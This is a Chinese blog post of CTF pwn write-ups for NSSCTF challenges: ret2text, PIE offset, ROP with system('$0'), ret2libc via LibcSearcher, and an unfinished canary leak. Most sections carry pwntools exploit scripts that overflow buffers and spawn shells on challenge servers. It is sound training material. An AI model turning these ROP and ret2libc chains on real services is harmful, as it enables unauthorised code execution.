前言

本文章用于记录自己在 NSS Pwn 方向刷的百题题解,从最简单的 ret2text 题到困难的 kernel pwn 题皆有,可作为本地知识库使用

Pwn 环境搭建(pwndocker)

pwndocker 是一个为了 CTF 中的 Pwn 方向而搭建的 docker 镜像,使用该镜像可以很方便地构建一个用于打 Pwn 的环境。我在pwndocker的基础上进行了一些修改,包括如下内容:

  • 升级镜像至Ubuntu22.04
  • 使用pwntools版本4.14.1
  • 部分软件包升级
  • 默认使用zsh
  • 默认工作目录执行权限

利用 docker 拉取镜像(或者自行 build),在 VSCode 中搜索 Docker 插件并安装,在左侧栏选中 container 并附加 VSCode,即可进入环境(首次启动可能需要在镜像内下载 VSCode Server,下载完即可正常使用)

正文

[SWPUCTF 2021 新生赛]gift_pwn

64 位,无保护,ida 打开看到 gift 在 0X4005B6,buf 大小为 16,故填充 16+8(对齐)位后接 gift

1
2
3
4
5
6
from pwn import *
p = remote('node1.anna.nssctf.cn',28025)
gift = 0X4005B6
payload = b'a'*(16+8)+p64(gift)
p.sendline(payload)
p.interactive()

ls 并 cat flag

[NISACTF 2022]ezpie

checksec 发现有 NX 和 PIE 保护,32 位

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

IDA 打开

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("OHHH!,give you a gift!");
printf("%p\n", main);
puts("Input:");
vuln();
return 0;
}

可以看到他打印了 main 函数地址

vuln()开了 0x40 的 buf,但读了 0x50,存在栈溢出。且存在后门函数shell()。也就是说我我们只需要算出来 shell 到 main 的偏移即可

在 IDA 的 Exports 中找到shell 0000080Fmain 00000770,编写 exp

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote("node7.anna.nssctf.cn",20840)

main_addr = int(p.recvuntil('70')[-10:],16)
offset = 0x0000080F - 0x00000770
payload = b'a'*(40+4)+p32(main_addr+offset) # 32位
p.sendlineafter("Input:", payload)
p.interactive()

[BJDCTF 2020]babystack

checksec 仅 NX 保护

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA 分析一下 backdoor 在0x4006e6,发他一个整数,然后填充 buf 并带上后门地址,exp

1
2
3
4
5
6
7
from pwn import *

p = remote("node4.anna.nssctf.cn", 28760)
p.sendlineafter('name:', '114514')
payload = b'a'*(0x10+8) + p64(0x4006e6)
p.sendline(payload)
p.interactive()

[GFCTF 2021]where_is_shell

checksec 仅 NX 保护

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

read 栈溢出,读了 0x38。溢出到返回地址处为 0x10+8。随后找到system(),但找不到/bin/sh,查看tips()

1
2
3
4
__int64 tips()
{
return MEMORY[0x403569]();
}

查看机器码,有.text:0000000000400540 E8 24 30 00 00,而24 30正是$0,等同于/bin/sh,构造system("$0")即可。注意 64 位程序传参要通过寄存器传递,而非栈传递。需要执行的汇编代码为

1
2
mov rdi , 0x400541
call 0x400430

由于有 NX 保护,故需要使用 ROPgadget 寻找可使用的 gadget 进行利用

1
2
➜  work ROPgadget --binary shell | grep "pop rdi"
0x00000000004005e3 : pop rdi ; ret

同时 Ubuntu18 及以上版本的系统要求在调用 system 函数时栈必须 16 字节对齐,即 rip 末位为 0。我们需要再找一个 8 字节的 ret 指令对齐0x0000000000400416 : ret

exp 如下

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote("node4.anna.nssctf.cn", 28307)

system_addr = 0x0400430
sh_addr = 0x0400541
pop_rdi_ret_addr = 0x04005e3
ret_addr = 0x0400416
payload = b'a'*(0x10 + 8) + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(sh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

[MoeCTF 2022]ret2libc

checksec 为 64 位有 NX、SHSTK、IBT 保护

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

IDA 分析 main 函数和 vuln 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("Go Go Go!!!");
vuln();
return 0;
}

ssize_t vuln()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

return read(0, buf, 0x70uLL);
}

没有明显的后门函数和/bin/sh字样,故我们需要调用 libc 中的system

首先利用LibcSearcher结合第一次 ROP 泄露的puts地址找到对应 libc 版本,再计算 libc 基址偏移、system/bin/sh的偏移,随后第二次 ROP 完成攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *

elf = ELF("./pwn")

pop_rdi_ret_addr = 0x40117E
puts_plt_addr = 0x401060
main_addr = 0x4011A8
ret = 0x40101A

p = remote("node5.anna.nssctf.cn", 23002)

payload = b"a" * (0x40 + 8)
payload += p64(pop_rdi_ret_addr) + p64(elf.got["puts"])
payload += p64(puts_plt_addr)
payload += p64(main_addr)

p.sendlineafter("Go Go Go!!!\n", payload)

puts_real_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc = LibcSearcher("puts", puts_real_addr)
libc_addr = puts_real_addr - libc.dump("puts")
bin_sh_addr = libc_addr + libc.dump("str_bin_sh")
system_real_addr = libc_addr + libc.dump("system")

payload2 = b"a" * (0x40 + 8)
payload2 += p64(ret)
payload2 += p64(pop_rdi_ret_addr) + p64(bin_sh_addr)
payload2 += p64(system_real_addr)
payload2 += p64(main_addr)
# [+] Choose one : libc6_2.35-0ubuntu1_amd64/libc6_2.35-0ubuntu3.3_amd64
p.sendlineafter("Go Go Go!!!\n", payload2)
p.interactive()

[2021 鹤城杯]littleof

checksec 有 canary 和 NX 保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

IDA 分析 main 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 sub_4006E2()
{
char buf[8]; // [rsp+10h] [rbp-50h] BYREF
FILE *v2; // [rsp+18h] [rbp-48h]
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = stdin;
puts("Do you know how to do buffer overflow?");
read(0, buf, 0x100uLL);
printf("%s. Try harder!", buf);
read(0, buf, 0x100uLL);
puts("I hope you win");
return __readfsqword(0x28u) ^ v3;
}

两个 read 都有溢出,且 printf 输出了 buf,用于泄露 canary 地址。不难知道 v3 就是 canary 地址位置。分别跟进可知 buf 的地址在 0x50,而 v3 在 0x8,offset=0x50-0x8。随后正常 libc 打法。